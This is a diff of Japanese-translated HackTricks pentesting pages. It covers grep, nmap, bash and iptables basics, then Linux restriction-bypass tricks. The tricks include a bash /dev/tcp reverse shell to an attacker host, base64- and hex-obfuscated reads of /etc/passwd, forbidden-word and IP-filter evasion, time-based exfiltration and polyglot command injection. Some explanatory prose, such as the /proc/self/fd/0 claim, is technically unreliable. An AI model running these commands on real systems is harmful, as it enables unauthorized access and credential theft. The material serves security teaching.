```bash
|
||||
grep -c "文字列" ファイル名
|
||||
```
|
||||
|
||||
- ファイル内で特定の文字列を含む行の前後の行も表示する:
|
||||
|
||||
```bash
|
||||
grep -A [行数] -B [行数] "文字列" ファイル名
|
||||
```
|
||||
|
||||
`grep`コマンドは非常に強力であり、テキストファイル内での検索に広く使用されています。これらの例を使用して、必要な情報を効率的に見つけることができます。
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -281,93 +298,38 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13
|
|||
```
|
||||
## Nmap検索のヘルプ
|
||||
|
||||
Nmap is a powerful network scanning tool used to discover hosts and services on a computer network. It provides a wide range of options and features to customize and optimize the scanning process. Here are some useful commands and options to help you get started with Nmap:
|
||||
Nmap is a powerful network scanning tool that allows you to discover hosts and services on a computer network. It provides a wide range of options and features to customize your scans and obtain detailed information about the target network.
|
||||
|
||||
Nmapは、コンピュータネットワーク上のホストやサービスを発見するために使用される強力なネットワークスキャンツールです。スキャンプロセスをカスタマイズして最適化するためのさまざまなオプションと機能を提供しています。以下に、Nmapを使い始めるための便利なコマンドとオプションをいくつか紹介します。
|
||||
Nmapは、コンピュータネットワーク上のホストやサービスを発見するための強力なネットワークスキャンツールです。さまざまなオプションと機能を提供し、スキャンをカスタマイズして対象ネットワークに関する詳細な情報を取得することができます。
|
||||
|
||||
### Basic Scanning
|
||||
To get started with Nmap, you can use the following basic command:
|
||||
|
||||
基本的なスキャン
|
||||
|
||||
To perform a basic scan of a target host, use the following command:
|
||||
|
||||
ターゲットホストの基本的なスキャンを実行するには、次のコマンドを使用します。
|
||||
Nmapを使い始めるには、次の基本コマンドを使用します:
|
||||
|
||||
```
|
||||
nmap <target>
|
||||
nmap [target]
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target host.
|
||||
Replace `[target]` with the IP address or hostname of the target you want to scan.
|
||||
|
||||
`<target>`をターゲットホストのIPアドレスまたはホスト名に置き換えてください。
|
||||
`[target]`の部分をスキャンしたい対象のIPアドレスまたはホスト名に置き換えてください。
|
||||
|
||||
### Specifying Ports
|
||||
Nmap also provides various scan techniques and options to customize your scans. Some commonly used options include:
|
||||
|
||||
ポートの指定
|
||||
Nmapは、さまざまなスキャンテクニックとオプションを提供しており、スキャンをカスタマイズすることができます。よく使用されるオプションには、次のものがあります:
|
||||
|
||||
By default, Nmap scans the most common 1,000 ports. However, you can specify a custom range of ports to scan using the `-p` option. For example:
|
||||
- `-p [port]`: Specifies the port number(s) to scan. You can specify a single port, a range of ports, or a comma-separated list of ports.
|
||||
- `-p [ポート]`: スキャンするポート番号を指定します。単一のポート、ポートの範囲、またはカンマ区切りのポートのリストを指定することができます。
|
||||
|
||||
デフォルトでは、Nmapは最も一般的な1,000ポートをスキャンします。ただし、`-p`オプションを使用してスキャンするポートのカスタム範囲を指定することができます。例えば:
|
||||
- `-sV`: Enables version detection, which attempts to determine the version of the services running on the target ports.
|
||||
- `-sV`: バージョン検出を有効にし、対象ポートで実行されているサービスのバージョンを特定しようとします。
|
||||
|
||||
```
|
||||
nmap -p <port-range> <target>
|
||||
```
|
||||
- `-O`: Enables operating system detection, which tries to determine the operating system running on the target host.
|
||||
- `-O`: オペレーティングシステム検出を有効にし、対象ホストで実行されているオペレーティングシステムを特定しようとします。
|
||||
|
||||
Replace `<port-range>` with the desired range of ports (e.g., `80-100` for ports 80 to 100).
|
||||
These are just a few examples of the options available in Nmap. You can explore more options and techniques by referring to the Nmap documentation.
|
||||
|
||||
`<port-range>`を希望するポートの範囲(例:ポート80から100の場合は`80-100`)に置き換えてください。
|
||||
|
||||
### Service and Version Detection
|
||||
|
||||
サービスとバージョンの検出
|
||||
|
||||
Nmap can also detect the services and versions running on open ports. Use the `-sV` option to enable service and version detection. For example:
|
||||
|
||||
Nmapは、オープンポートで実行されているサービスとバージョンを検出することもできます。サービスとバージョンの検出を有効にするには、`-sV`オプションを使用します。例えば:
|
||||
|
||||
```
|
||||
nmap -sV <target>
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target host.
|
||||
|
||||
`<target>`をターゲットホストのIPアドレスまたはホスト名に置き換えてください。
|
||||
|
||||
### OS Detection
|
||||
|
||||
OSの検出
|
||||
|
||||
Nmap can also attempt to detect the operating system running on the target host. Use the `-O` option to enable OS detection. For example:
|
||||
|
||||
Nmapは、ターゲットホストで実行されているオペレーティングシステムを検出する試みも行うことができます。OS検出を有効にするには、`-O`オプションを使用します。例えば:
|
||||
|
||||
```
|
||||
nmap -O <target>
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target host.
|
||||
|
||||
`<target>`をターゲットホストのIPアドレスまたはホスト名に置き換えてください。
|
||||
|
||||
### Script Scanning
|
||||
|
||||
スクリプトスキャン
|
||||
|
||||
Nmap has a scripting engine that allows you to run scripts to automate various tasks during the scanning process. Use the `--script` option to specify a script to run. For example:
|
||||
|
||||
Nmapには、スキャンプロセス中にさまざまなタスクを自動化するためのスクリプトを実行するためのスクリプトエンジンがあります。実行するスクリプトを指定するには、`--script`オプションを使用します。例えば:
|
||||
|
||||
```
|
||||
nmap --script <script> <target>
|
||||
```
|
||||
|
||||
Replace `<script>` with the name of the script and `<target>` with the IP address or hostname of the target host.
|
||||
|
||||
`<script>`をスクリプトの名前、`<target>`をターゲットホストのIPアドレスまたはホスト名に置き換えてください。
|
||||
|
||||
These are just a few examples of the many options and features available in Nmap. For more information, refer to the [Nmap documentation](https://nmap.org/documentation.html).
|
||||
|
||||
これは、Nmapで利用可能な多くのオプションと機能のうちのいくつかの例です。詳細については、[Nmapのドキュメント](https://nmap.org/documentation.html)を参照してください。
|
||||
これらは、Nmapで利用可能なオプションの一部の例です。Nmapのドキュメントを参照することで、さらに多くのオプションやテクニックを探索することができます。
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
|
@ -376,124 +338,94 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
Bash(Bourne Again SHell)は、LinuxおよびUNIXシステムで広く使用されているデフォルトのシェルです。Bashは、コマンドラインでの操作やスクリプトの作成に使用されます。
|
||||
Bash(Bourne Again SHell)は、LinuxおよびUNIXシステムで広く使用されているデフォルトのシェルです。Bashは、コマンドラインでの作業を容易にするために使用されます。以下に、Bashで使用できるいくつかの便利なコマンドを示します。
|
||||
|
||||
### 一般的なコマンド
|
||||
|
||||
以下は、Bashでよく使用される一般的なコマンドのいくつかです。
|
||||
### ファイルとディレクトリの操作
|
||||
|
||||
- `ls`:現在のディレクトリ内のファイルとディレクトリを表示します。
|
||||
- `cd`:ディレクトリを変更します。
|
||||
- `pwd`:現在のディレクトリのパスを表示します。
|
||||
- `mkdir`:新しいディレクトリを作成します。
|
||||
- `rm`:ファイルやディレクトリを削除します。
|
||||
- `cp`:ファイルやディレクトリをコピーします。
|
||||
- `mv`:ファイルやディレクトリを移動します。
|
||||
- `rm`:ファイルまたはディレクトリを削除します。
|
||||
- `cp`:ファイルまたはディレクトリをコピーします。
|
||||
- `mv`:ファイルまたはディレクトリを移動または名前を変更します。
|
||||
|
||||
### ファイルの編集
|
||||
|
||||
- `cat`:ファイルの内容を表示します。
|
||||
- `grep`:テキストファイル内でパターンに一致する行を検索します。
|
||||
- `chmod`:ファイルやディレクトリのアクセス権を変更します。
|
||||
|
||||
### ファイル操作
|
||||
|
||||
Bashを使用して、ファイルの作成、編集、および操作を行うことができます。
|
||||
|
||||
- `touch`:新しいファイルを作成します。
|
||||
- `nano`:テキストエディタを使用してファイルを編集します。
|
||||
- `vi`:テキストエディタを使用してファイルを編集します。
|
||||
- `less`:ファイルの内容をページ単位で表示します。
|
||||
- `head`:ファイルの先頭から指定された行数を表示します。
|
||||
- `tail`:ファイルの末尾から指定された行数を表示します。
|
||||
- `grep`:指定されたパターンに一致する行を検索します。
|
||||
|
||||
### プロセス管理
|
||||
|
||||
Bashを使用して、実行中のプロセスを管理することができます。
|
||||
### プロセスの管理
|
||||
|
||||
- `ps`:実行中のプロセスを表示します。
|
||||
- `top`:システムのリソース使用状況と実行中のプロセスを表示します。
|
||||
- `kill`:プロセスを終了します。
|
||||
|
||||
### ネットワーキング
|
||||
|
||||
Bashを使用して、ネットワーク関連の操作を行うことができます。
|
||||
|
||||
- `ping`:ホストに対してICMPエコーリクエストを送信し、応答を受け取ります。
|
||||
- `ifconfig`:ネットワークインターフェースの設定を表示および変更します。
|
||||
- `netstat`:ネットワーク接続と統計情報を表示します。
|
||||
|
||||
これらは、Bashで使用される一般的なコマンドの一部です。Bashの機能は非常に広範であり、さまざまなタスクを実行するための多くのコマンドがあります。
|
||||
これらは、Bashで使用できる便利なコマンドの一部です。これらのコマンドを使いこなすことで、Linuxシステムでの作業がより効率的になります。
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptablesは、Linuxシステムでネットワークトラフィックを制御するための強力なツールです。ファイアウォールルールを作成し、パケットのフィルタリング、NAT(ネットワークアドレス変換)、ポート転送などの機能を提供します。
|
||||
Iptables is a powerful firewall utility for Linux systems. It allows you to configure and manage network traffic by creating rules and chains. With iptables, you can control incoming and outgoing traffic, filter packets based on various criteria, and set up network address translation (NAT).
|
||||
|
||||
### Iptablesの基本的なコマンド
|
||||
### Basic Usage
|
||||
|
||||
以下は、Iptablesの基本的なコマンドです。
|
||||
|
||||
- ファイアウォールルールの表示:
|
||||
To view the current iptables rules, use the following command:
|
||||
|
||||
```bash
|
||||
iptables -L
|
||||
```
|
||||
|
||||
- ファイアウォールルールの追加:
|
||||
To add a new rule, use the `iptables -A` command followed by the desired options. For example, to allow incoming SSH connections, you can use the following command:
|
||||
|
||||
```bash
|
||||
iptables -A <chain> -p <protocol> --dport <port> -j <action>
|
||||
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
|
||||
```
|
||||
|
||||
- ファイアウォールルールの削除:
|
||||
To delete a rule, use the `iptables -D` command followed by the rule number. For example, to delete the rule at position 3 in the INPUT chain, you can use the following command:
|
||||
|
||||
```bash
|
||||
iptables -D <chain> <rule_number>
|
||||
iptables -D INPUT 3
|
||||
```
|
||||
|
||||
- ファイアウォールルールの保存:
|
||||
### Common Options
|
||||
|
||||
Here are some common options that you can use with iptables:
|
||||
|
||||
- `-A` (append): Adds a new rule to the end of a chain.
|
||||
- `-D` (delete): Deletes a rule from a chain.
|
||||
- `-I` (insert): Inserts a new rule at a specific position in a chain.
|
||||
- `-L` (list): Lists all the rules in a chain.
|
||||
- `-F` (flush): Deletes all the rules in a chain.
|
||||
- `-P` (policy): Sets the default policy for a chain.
|
||||
- `-s` (source): Specifies the source IP address or network.
|
||||
- `-d` (destination): Specifies the destination IP address or network.
|
||||
- `-p` (protocol): Specifies the protocol (e.g., tcp, udp).
|
||||
- `--dport` (destination port): Specifies the destination port number.
|
||||
- `-j` (jump): Specifies the target action for a rule.
|
||||
|
||||
### Saving and Restoring Rules
|
||||
|
||||
To save your iptables rules, you can use the `iptables-save` command. This will output the current rules in a format that can be easily restored later.
|
||||
|
||||
```bash
|
||||
iptables-save > <file_name>
|
||||
iptables-save > rules.txt
|
||||
```
|
||||
|
||||
- ファイアウォールルールの復元:
|
||||
To restore the saved rules, you can use the `iptables-restore` command.
|
||||
|
||||
```bash
|
||||
iptables-restore < <file_name>
|
||||
iptables-restore < rules.txt
|
||||
```
|
||||
|
||||
### Iptablesのチェーン
|
||||
### Conclusion
|
||||
|
||||
Iptablesでは、パケットの処理を制御するためにチェーンを使用します。以下は、Iptablesで使用される主要なチェーンの一部です。
|
||||
|
||||
- INPUT:入力トラフィックを処理するためのチェーン
|
||||
- OUTPUT:出力トラフィックを処理するためのチェーン
|
||||
- FORWARD:転送トラフィックを処理するためのチェーン
|
||||
|
||||
### Iptablesのアクション
|
||||
|
||||
Iptablesでは、パケットに対して実行されるアクションを指定することができます。以下は、Iptablesで使用される主要なアクションの一部です。
|
||||
|
||||
- ACCEPT:パケットを受け入れる
|
||||
- DROP:パケットを破棄する
|
||||
- REJECT:パケットを破棄し、送信元に拒否メッセージを返す
|
||||
- LOG:パケットをログに記録する
|
||||
|
||||
### Iptablesの応用例
|
||||
|
||||
以下は、Iptablesを使用して特定のポートをブロックする例です。
|
||||
|
||||
```bash
|
||||
iptables -A INPUT -p tcp --dport 22 -j DROP
|
||||
```
|
||||
|
||||
このコマンドは、SSHポート(ポート22)への入力トラフィックをブロックします。
|
||||
|
||||
### Iptablesの注意点
|
||||
|
||||
Iptablesの設定は慎重に行う必要があります。誤った設定はネットワークの可用性に影響を与える可能性があります。設定変更前には、バックアップを作成し、テスト環境での動作を確認することをお勧めします。
|
||||
|
||||
以上が、Iptablesの基本的な概要です。Iptablesを使用してネットワークトラフィックを制御するためのさまざまな機能を活用してください。
|
||||
Iptables is a versatile tool for managing network traffic on Linux systems. By understanding its basic usage and common options, you can effectively configure and secure your system's firewall.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -528,7 +460,7 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
@ -536,10 +468,10 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築して**自動化**します。\
|
||||
|
@ -38,11 +38,9 @@ Here is an example of a short reverse shell command in Bash:
|
|||
bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1
|
||||
```
|
||||
|
||||
To use this command, replace `attacker-ip` with the IP address of the attacker's machine and `attacker-port` with the desired port number.
|
||||
To use this command, replace `attacker-ip` with the IP address of the attacker's machine and `attacker-port` with the desired port number. Once executed on the target system, this command will establish a reverse shell connection, allowing the attacker to interact with the compromised machine remotely.
|
||||
|
||||
This command redirects the input and output of the Bash shell to a TCP connection established between the attacker's machine and the compromised system. It provides the attacker with an interactive shell session, allowing them to execute commands on the target machine remotely.
|
||||
|
||||
Keep in mind that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing or authorized system administration tasks.
|
||||
Keep in mind that using reverse shells for unauthorized access is illegal and unethical. This information is provided for educational purposes only and should be used responsibly and with proper authorization.
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -52,33 +50,37 @@ exec >&0
|
|||
```
|
||||
### パスと禁止ワードの回避
|
||||
|
||||
In some cases, you may encounter restrictions on certain paths or forbidden words that prevent you from executing certain commands. However, there are ways to bypass these restrictions and execute the desired commands. Here are a few techniques you can use:
|
||||
In some cases, when performing a penetration test or trying to gain unauthorized access to a system, you may encounter restrictions on certain paths or forbidden words that prevent you from executing commands or accessing certain files. However, there are ways to bypass these restrictions and gain access to the desired resources.
|
||||
|
||||
#### 1. Using alternative paths
|
||||
以下の場合、ペネトレーションテストを実行したり、システムへの不正アクセスを試みる際に、特定のパスや禁止ワードに制限があることがあります。これにより、コマンドの実行や特定のファイルへのアクセスが制限されます。しかし、これらの制限を回避し、目的のリソースにアクセスする方法があります。
|
||||
|
||||
If a specific path is restricted, you can try using an alternative path to access the desired command. For example, instead of using `/bin/bash`, you can try using `/usr/bin/bash` or `/usr/local/bin/bash`. By trying different paths, you may be able to find one that is not restricted.
|
||||
#### Bypassing Path Restrictions
|
||||
|
||||
#### 2. Renaming commands
|
||||
パスの制限を回避する方法
|
||||
|
||||
Another technique is to rename the command you want to execute. For example, if the `ls` command is restricted, you can rename it to something else, such as `myls` or `list`. This can be done by creating a symbolic link to the desired command with a different name.
|
||||
One common method to bypass path restrictions is by using alternative paths or symbolic links. For example, if the `/etc/passwd` file is restricted, you can try accessing it using the `/proc/self/fd/0` path, which points to the standard input file descriptor. This can be achieved by executing the following command:
|
||||
|
||||
#### 3. Using shell built-ins
|
||||
|
||||
Shell built-ins are commands that are built into the shell itself, rather than being separate executable files. These commands are not subject to the same restrictions as external commands. By using shell built-ins, you can bypass restrictions on specific commands. Some common shell built-ins include `cd`, `echo`, and `export`.
|
||||
|
||||
#### 4. Using absolute paths
|
||||
|
||||
If a command is restricted by its name, you can try using its absolute path instead. For example, instead of using `ls`, you can try using `/bin/ls` or `/usr/bin/ls`. By specifying the absolute path, you can bypass restrictions on the command's name.
|
||||
|
||||
#### 5. Using environment variables
|
||||
|
||||
Environment variables can be used to override certain settings and configurations. By setting the `PATH` environment variable to include the path to the desired command, you can bypass restrictions on the command's location. For example, you can use the following command to temporarily add a directory to the `PATH` variable:
|
||||
パスの制限を回避する一般的な方法は、代替パスやシンボリックリンクを使用することです。たとえば、`/etc/passwd` ファイルが制限されている場合、`/proc/self/fd/0` パスを使用してアクセスを試みることができます。このパスは、標準入力ファイルディスクリプタを指します。次のコマンドを実行することで、これを実現できます。
|
||||
|
||||
```bash
|
||||
export PATH=/path/to/desired/command:$PATH
|
||||
cat /proc/self/fd/0
|
||||
```
|
||||
|
||||
By using these techniques, you can bypass restrictions on paths and forbidden words, allowing you to execute the commands you need. However, it's important to note that bypassing restrictions may be against the policies or terms of service of the system you are working on, so use these techniques responsibly and ethically.
|
||||
Another method is to use relative paths. If you are restricted from accessing a file directly, you can try accessing it using a relative path from a directory that you have access to. For example, if you have access to the `/tmp` directory, you can try accessing the restricted file using a relative path like `../restricted/file.txt`.
|
||||
|
||||
別の方法は、相対パスを使用することです。直接ファイルにアクセスすることが制限されている場合、アクセス権限のあるディレクトリからの相対パスを使用してアクセスを試みることができます。たとえば、`/tmp` ディレクトリにアクセス権限がある場合、`../restricted/file.txt` のような相対パスを使用して制限されたファイルにアクセスしてみることができます。
|
||||
|
||||
#### Bypassing Forbidden Words
|
||||
|
||||
禁止ワードの回避方法
|
||||
|
||||
If certain words or commands are forbidden, you can try bypassing them by using alternative syntax or encoding techniques. For example, if the `rm` command is forbidden, you can try using the `unlink` command instead. Similarly, if the word `password` is forbidden, you can try using alternative spellings or encoding techniques to bypass the restriction.
|
||||
|
||||
特定の単語やコマンドが禁止されている場合、代替の構文やエンコーディング技術を使用して回避することができます。たとえば、`rm` コマンドが禁止されている場合、代わりに `unlink` コマンドを使用してみることができます。同様に、`password` という単語が禁止されている場合、代替の綴りやエンコーディング技術を使用して制限を回避することができます。
|
||||
|
||||
It is important to note that bypassing restrictions and accessing unauthorized resources is illegal and unethical unless you have proper authorization and consent. Always ensure that you are conducting your activities within the boundaries of the law and with the necessary permissions.
|
||||
|
||||
制限を回避し、不正なリソースにアクセスすることは、適切な権限と同意がない限り、違法で倫理に反する行為です。常に法律の範囲内で活動し、必要な許可を得ていることを確認してください。
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -197,37 +199,9 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
|||
```
|
||||
### パイプをバイパスする
|
||||
|
||||
Pipes are a powerful feature in Linux that allow the output of one command to be used as the input for another command. However, in some cases, the use of pipes may be restricted by the system administrator for security reasons. In this section, we will discuss a few techniques to bypass these restrictions and still be able to use pipes effectively.
|
||||
Pipes are a powerful feature in Linux that allow you to redirect the output of one command as the input of another command. However, in some cases, you may encounter restrictions that prevent you from using pipes. In this section, we will discuss a few techniques to bypass these restrictions and still make use of pipes.
|
||||
|
||||
パイプはLinuxでの強力な機能であり、あるコマンドの出力を別のコマンドの入力として使用することができます。しかし、セキュリティ上の理由から、システム管理者によってパイプの使用が制限される場合があります。このセクションでは、これらの制限を回避し、効果的にパイプを使用するためのいくつかのテクニックについて説明します。
|
||||
|
||||
#### Technique 1: Process Substitution
|
||||
|
||||
技術1:プロセス置換
|
||||
|
||||
Process substitution is a feature in Bash that allows the output of a command to be treated as a file. By using process substitution, we can bypass restrictions on pipes and still achieve the desired result.
|
||||
|
||||
プロセス置換は、Bashの機能であり、コマンドの出力をファイルとして扱うことができます。プロセス置換を使用することで、パイプの制限を回避し、目的の結果を得ることができます。
|
||||
|
||||
To use process substitution, we can use the `<()` syntax. For example, instead of using `command1 | command2`, we can use `command2 < <(command1)`.
|
||||
|
||||
プロセス置換を使用するには、`<()` 構文を使用します。例えば、`command1 | command2` の代わりに `command2 < <(command1)` を使用することができます。
|
||||
|
||||
#### Technique 2: Temporary Files
|
||||
|
||||
技術2:一時ファイル
|
||||
|
||||
Another way to bypass restrictions on pipes is to use temporary files. Instead of piping the output of one command directly to another command, we can redirect the output to a temporary file and then use that file as the input for the next command.
|
||||
|
||||
パイプの制限を回避する別の方法は、一時ファイルを使用することです。あるコマンドの出力を直接別のコマンドにパイプする代わりに、出力を一時ファイルにリダイレクトし、そのファイルを次のコマンドの入力として使用します。
|
||||
|
||||
To do this, we can use the `>` operator to redirect the output to a file, and then use the `<` operator to redirect the input from that file. For example, `command1 > temp.txt; command2 < temp.txt`.
|
||||
|
||||
これを行うには、`>` 演算子を使用して出力をファイルにリダイレクトし、`<` 演算子を使用してそのファイルから入力をリダイレクトします。例えば、`command1 > temp.txt; command2 < temp.txt`。
|
||||
|
||||
By using temporary files, we can bypass restrictions on pipes and still achieve the desired result.
|
||||
|
||||
一時ファイルを使用することで、パイプの制限を回避し、目的の結果を得ることができます。
|
||||
パイプはLinuxの強力な機能であり、あるコマンドの出力を別のコマンドの入力としてリダイレクトすることができます。しかし、いくつかの場合には、パイプの使用が制限されていることがあります。このセクションでは、これらの制限をバイパスし、パイプを使用するためのいくつかのテクニックについて説明します。
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
|
@ -257,15 +231,15 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
|
||||
Sometimes during a penetration test, you may encounter restrictions that block your IP address from accessing certain resources. In such cases, you can try bypassing these restrictions using various techniques. Here are a few methods you can use:
|
||||
|
||||
1. **Proxy Servers**: Utilize proxy servers to route your traffic through a different IP address. This can help you bypass IP-based restrictions and access the desired resources.
|
||||
1. **Proxy Servers**: Utilize proxy servers to route your traffic through a different IP address. This can help you bypass IP-based restrictions and access blocked resources.
|
||||
|
||||
2. **VPN**: Connect to a Virtual Private Network (VPN) to mask your IP address and appear as if you are accessing the resources from a different location.
|
||||
|
||||
3. **Tor**: The Tor network can be used to anonymize your traffic by routing it through multiple nodes, making it difficult to trace back to your original IP address.
|
||||
3. **Tor**: The Tor network can be used to anonymize your traffic and bypass IP restrictions. By routing your traffic through multiple nodes, Tor makes it difficult to trace your original IP address.
|
||||
|
||||
4. **SSH Tunnels**: Set up an SSH tunnel to redirect your traffic through a remote server. This can help bypass IP restrictions and access resources that are otherwise blocked.
|
||||
4. **SSH Tunnels**: Set up an SSH tunnel to redirect your traffic through a remote server. This can help you bypass IP restrictions by making it appear as if your traffic is originating from the remote server's IP address.
|
||||
|
||||
Remember, while bypassing IP restrictions can be useful during a penetration test, it is important to obtain proper authorization and adhere to ethical guidelines.
|
||||
Remember, while these techniques can help you bypass IP restrictions, it is important to use them responsibly and within the boundaries of the law. Always ensure that you have proper authorization before attempting any penetration testing activities.
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
|
@ -288,7 +262,7 @@ To perform time based data exfiltration, hackers can use various commands and to
|
|||
|
||||
It is important to note that these commands can be used for legitimate purposes as well, so their presence on a system does not necessarily indicate malicious activity. However, in the hands of a skilled hacker, these commands can be used to exfiltrate sensitive data without raising suspicion.
|
||||
|
||||
To protect against time based data exfiltration, system administrators should monitor network traffic for any suspicious activity and implement strict access controls to prevent unauthorized access to sensitive data.
|
||||
To protect against time based data exfiltration, system administrators should monitor network traffic for any suspicious activity and implement strict access controls to prevent unauthorized access to sensitive data. Additionally, regular security audits and vulnerability assessments can help identify and mitigate potential vulnerabilities that could be exploited for data exfiltration.
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
|
@ -306,7 +280,7 @@ echo $ENV_VARIABLE_NAME
|
|||
|
||||
このコマンドは、指定した環境変数の値を表示します。例えば、`$USERNAME`を使用すると、現在のユーザー名が表示されます。
|
||||
|
||||
環境変数から文字を取得することは、システムの設定やプロセスの実行に関する情報を取得するために役立ちます。ただし、機密情報を含む環境変数を使用する場合は、注意が必要です。機密情報を取得するためには、適切な権限を持つユーザーで実行する必要があります。また、機密情報を取得した後は、適切なセキュリティ対策を講じることが重要です。
|
||||
環境変数から文字を取得することは、システムの設定やプロセスの実行に関する情報を取得するために役立ちます。ただし、機密情報が含まれる場合は注意が必要です。
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -376,17 +350,17 @@ Polyglot command injection is a technique used to bypass restrictions imposed by
|
|||
|
||||
ポリグロットコマンドインジェクションは、Bashシェルによって課された制限を回避するための技術です。これは、PythonやPerlなどの複数のスクリプト言語で有効なコマンドを注入し、ターゲットシステムで任意のコマンドを実行することを目的としています。
|
||||
|
||||
By using a polyglot payload, an attacker can exploit vulnerabilities in a web application that allows user input to be executed as a command in a shell. This technique is particularly useful when the input is filtered or restricted by the application, as it allows the attacker to bypass those restrictions and execute arbitrary commands.
|
||||
By using a polyglot payload, an attacker can exploit vulnerabilities in a web application that allows user input to be executed as a command in a shell. This technique is particularly useful when the input is filtered or restricted by the application, but the underlying shell allows the execution of certain commands.
|
||||
|
||||
ポリグロットペイロードを使用することで、攻撃者はユーザー入力をシェルでコマンドとして実行するウェブアプリケーションの脆弱性を悪用することができます。この技術は、入力がアプリケーションによってフィルタリングまたは制限されている場合に特に有用であり、攻撃者はこれらの制限を回避して任意のコマンドを実行することができます。
|
||||
ポリグロットペイロードを使用することで、攻撃者はユーザー入力をシェルでコマンドとして実行することを許可するWebアプリケーションの脆弱性を悪用することができます。この技術は、入力がアプリケーションによってフィルタリングまたは制限されているが、基礎となるシェルが特定のコマンドの実行を許可している場合に特に有用です。
|
||||
|
||||
To perform a polyglot command injection, the attacker needs to carefully craft the payload to ensure it is valid in multiple scripting languages. This typically involves using special characters and syntax that are interpreted differently by different scripting languages.
|
||||
To perform a polyglot command injection, the attacker crafts a payload that is both syntactically valid in multiple scripting languages and executes the desired command. This payload is then injected into the vulnerable input field of the web application.
|
||||
|
||||
ポリグロットコマンドインジェクションを実行するには、攻撃者はペイロードを注意深く作成し、複数のスクリプト言語で有効であることを確認する必要があります。これには、異なるスクリプト言語で異なるように解釈される特殊文字や構文を使用することが一般的です。
|
